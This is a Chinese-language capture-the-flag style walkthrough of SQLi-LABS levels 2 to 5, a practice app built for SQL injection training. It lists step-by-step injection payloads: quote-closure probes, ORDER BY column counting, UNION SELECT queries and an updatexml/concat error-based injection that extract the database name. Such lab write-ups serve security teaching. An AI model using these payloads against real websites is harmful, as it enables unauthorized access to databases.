SQLi-LABS 02关
1. 对网址的id进行测试,判断闭合方式
id=1 正常
id=1' 错误
id=1' --+ 错误
id=1--+ 正常
该关为数字型闭合方式
2. 判断回显位
id=1 order by 3 --+ 正常
id=1 order by 4 --+ 错误
回显位三个
3.使用联合查询
id=-1 union select 1,2,database() --+
得出数据库名为securit
SQLi-LABS 03关
1.对网址的id进行测试,判断闭合方式
id=1 正常
id=1' 错误
id=1' --+ 错误
id=1 --+ 正常
此时显示为正常,但是,在测试回显位时使用order by 50 这种离谱的语句时,它显示为正常,所以此处不是数字型。因此测试带括号的或者双引号等其他的方式
id=1') --+ 正常
所以此处是 ') 闭合方式
2. 判断回显位
id=1') order by 3 --+ 正常
id=1') order by 4 --+ 错误
回显位三个
3. 使用联合查询
id=-1') union select 1,2,database() --+
得出数据库名为securit
SQLi-LABS 04关
1.对网址的id进行测试,判断闭合方式
id=1' 错误
id=1' --+ 错误
id=1 --+ 错误
id=1" --+ 错误
id=1") --+ 正常
该关为字符型注入 ,闭合方式 ")
2. 判断回显点
id=1") order by 3 --+ 正常
id=1") order by 4 --+ 错误
回显位三个
3. 使用联合查询
id=-1") union select 1,2,database() --+
得出数据库名为securit
SQLi-LABS 05关
1.对网址的id进行测试,判断闭合方式
id=1' 错误
id=1'--+ 正常
字符型注入 闭合方式为 '
2.该关按执行效果分类为 报错注入
3. 使用报错函数updatexml(1,1,1),使用三个1占位置。
4.在报错函数中我们可以操控的参数只有第二个,所以将第二个参数替换为concat(1,1)函数
5.concat()函数中可以操控的只有最后一个,所以我们将concat()函数最后一个参数替换为select database()查询语句,进行SQL注入,得到数据库名称为security